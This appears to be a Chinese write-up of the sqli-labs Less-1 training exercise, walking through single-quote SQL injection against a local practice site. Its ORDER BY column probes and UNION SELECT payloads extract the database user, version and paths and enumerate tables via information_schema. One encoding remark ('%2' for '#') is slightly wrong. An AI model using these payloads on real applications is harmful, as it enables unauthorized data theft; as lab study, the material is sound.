根据提示,可以知道只是个单引号注入的题目,我们在参数后面加一个单引号看下效果:
可以看到数据库报错了,最重要的就是能够看懂数据库的错误信息,从错误信息中我们可以知道是单引号的匹配出了问题,也就是说我们添加的单引号成功被数据库解析,那么我们就可以通过闭合这个id这个参数,然后插入自己构造的sql语句实施攻击。我们按照步骤来,一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。例如:
select 字段1,字段2 from tab1 union select 字段a,字段b from tab2
在这条sql语句中union前面的sql语句中的字段数应该与union后面的sql语句字段数一致,而且字段1与字段a类型相同,字段2与字段b类型相同(这里不过多阐述了)。
所以现在我们需要做的是
**A.**确定现有sql语句到底查询了多少个字段以及各字段的类型
**B.**构造利用代码
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1' order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:意思就是没有第四个字段,也就可以推断原本的sql语句只是有用到了三个字段。
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3 %23可以看到字段2,3被显示在了页面上。下面就可以构造语句了(列出几个常用的):
注:我的数据库是mysql
mysql中的注释常用两种方式–+与#,#在url中需要编码为%2以避免与url本身的锚点冲突。
获取数据库版本,数据库路径,当前用户,当前数据库:
http://localhost/sqlilabs/Less-1/?id=1' union select 1,concat_ws('_',user(),version(),database()),@@basedir
利用元数据库来爆表、爆数据
http://localhost/sqlilabs/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23